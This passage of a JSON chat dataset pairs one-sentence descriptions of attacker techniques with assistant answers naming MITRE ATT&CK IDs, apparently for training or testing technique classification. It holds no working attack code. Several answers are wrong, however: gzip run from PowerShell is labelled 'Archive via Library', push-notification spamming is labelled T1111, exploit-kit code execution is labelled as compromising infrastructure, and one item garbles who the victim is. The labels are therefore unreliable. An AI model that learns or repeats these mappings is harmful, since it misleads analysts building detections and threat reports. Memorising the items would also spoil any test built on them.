                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a malicious .plist file in the user's ~/Library/LaunchAgents directory to run each time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary installs a proxy that silently copies all outbound HTTP requests to a remote exfiltration server."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker invokes the gzip command-line tool via a PowerShell script to archive data."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a scheduled task that restarts the Print Spooler, forcing the malicious port monitor to reload after each reboot."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors hide their tools by placing them in a hidden directory within the Windows System32 folder."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor configures a compromised system to check a specific URL for JSON data containing instructions, acting as a dead‑drop resolver for command and control."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Victim's endpoint is instructed to route all HTTP requests through an external proxy that the attacker controls, effectively tunneling data out."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email gave the attacker a valid OneDrive API token, which was used to retrieve shared documents from the victim's cloud drive."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised AWS IAM role, the attacker performed a GetObject operation on an S3 bucket to harvest database backups."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use Windows Dynamic Data Exchange (DDE) to send malicious commands from a crafted Office document to a background process."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised SIP service to load unsigned drivers, effectively subverting trust controls on the host."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copied sensitive files onto a USB flash drive and left it in the target's workstation for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the host, the threat actor uses the PowerShell command \"Clear-History\" to remove command line traces."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan establishes a secure link by encrypting its outbound traffic with a symmetric algorithm selected at runtime."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a compromised IoT device as a pivot point, downloading additional malware modules from a hidden C2 server to extend their capabilities on the network."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employed a layered proxy approach, moving the connection through several compromised DNS resolvers and HTTP proxies before establishing a C2 link."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool adds superfluous whitespace and comments to its codebase to camouflage its true purpose."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability in the Gatekeeper service to bypass its verification of code signatures for malicious software."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a public exploit kit to target outdated Java runtime on a legacy server, achieving remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages signed binaries to disable antivirus components through API calls."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting an exposed Docker Swarm manager API, the attacker retrieves the swarm's join tokens and stored registry credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending specially crafted packets that trigger NAT traversal mechanisms, the actor is able to establish a reverse shell on a host behind the NAT."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a credential dumping utility to pull passwords from the Chrome 'Local State' file where the encryption key is stored."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a vulnerability to gain domain admin rights and then modify Group Policy to set a malicious DNS server for all endpoints."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers acquire legitimate hardware from a vendor, then replace the firmware with custom malicious code before shipping to customers."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a custom loader that reads the binary into a buffer and maps it into the process address space without touching the filesystem."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script reads the \"/proc/self/cgroup\" file to identify the container ID and underlying host resources."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script scanned public GitHub organizations for repositories containing hard‑coded API keys and exfiltrated the code."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a custom PowerShell script to send system logs to a remote FTP server over port 21 without TLS."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modified the domain's trust settings to allow cross‑forest authentication without detection."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a USB-to-Ethernet adapter infected with malware to bypass network segmentation and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using /bin/sh, the threat actor ran commands to enumerate user accounts and extract password hashes."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stealthy packet sniffer, the threat group extracts unencrypted credentials from network communications."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses a cloud load balancer to disguise its data exfiltration, sending data to a victim's server while appearing as benign traffic."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the SharePoint ListData.svc service to extract confidential contact lists from the organization."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Office template with embedded VBScript is used to bypass application whitelisting, executing privilege escalation code when the template loads."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cybercriminal sets up a one-way HTTP(S) webhook to receive stolen data from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers mine public certificate transparency logs to discover subdomains and services owned by the target organization."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the victim's .bash_history file to locate commands that include clear‑text passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s tool inspects the system for active user sessions and only activates malicious functions when a real user is logged in."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a man‑in‑the‑middle scenario, the intruder intercepts DHCP traffic and injects rogue DHCPACK packets, altering DNS and routing information for connected devices."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised a large number of IoT devices to build a botnet for spam distribution."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing cloud-hosted virtual machine management consoles, the intruder gains remote command execution capabilities on the victim network."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor compromised a privileged admin account and edited the Default Domain Policy to enable a backdoor user with domain admin rights."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors query the hardware inventory via the SCCM client to obtain RAM size and physical memory layout of target machines."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses OSINT tools to compile a list of the target’s key personnel, emphasizing roles such as database administrators, CFOs, and IT directors."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script registers an NSSM (Non-Sucking Service Manager) wrapper to run a hidden backdoor as a service."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign resulted in a script that opened cmd.exe to execute arbitrary system commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Python scripts are employed to create hidden user accounts on the target system for persistent access."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a malicious certificate to the trusted store, bypassing code integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a secure TLS‑like tunnel using custom asymmetric cryptography for stealthy communications."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom tool, the threat actor performed repeated push notification spamming against a Microsoft Authenticator app, eventually causing the user to approve one."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign uses automated calls that direct victims to a malicious website where they are prompted to enter their corporate VPN credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A multi-hop proxy network was set up, with the malicious payload first contacting a compromised web proxy, then a peer-to-peer relay, and finally the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is placed in the Windows Startup folder so it executes whenever a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses the AWS IAM \"AttachUserPolicy\" action to give a low‑privilege account full S3 access."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the timestamp authority used during code signing to backdate a malicious executable, causing security tools to treat it as an older, trusted file."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the breach, the adversary sets the Windows Firewall policy to allow inbound connections by editing the registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker deployed a malicious RFID reader near the building’s access control panel to clone employee badges."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by creating a new Office COM add‑in registration under HKLM to load malicious code on Office startup."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged domain trust modification to bypass segmentation controls and access high‑value assets in a partner domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs the 'wmic' command to execute a remote process on a target machine."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group leverages a Windows Installer (.msi) that registers a scheduled task during installation to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages the native Windows API function RtlCopyMemory to copy malicious payloads into allocated memory regions."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor checks for the presence of debugging hooks in the kernel by examining the SSDT entries."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker clears the Windows Event Log and removes all entries related to network connections to eliminate traces of their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party application was used to change the LDAP bind parameters, allowing the attacker to bypass password verification for any user."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker alters the NTFS Alternate Data Stream to remove the Mark of the Web from a downloaded file, allowing it to execute without SmartScreen warnings."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a zero‑day vulnerability in the device’s web management interface to replace the admin account’s public key with one under their control."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exfiltrated stolen database credentials by committing them to a private GitHub repository and pushing the changes from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executed \"docker exec\" with a custom script to disable security monitoring agents inside the container."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infection modifies the AppInit_DLLs entry to include a malicious DLL, achieving event‑triggered execution on system startup."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a specially crafted Office template macro that is executed automatically when the Office suite is launched, establishing persistence via T1137.001."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary drops a malicious VBScript file and executes it with wscript.exe to run arbitrary commands on the victim system."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
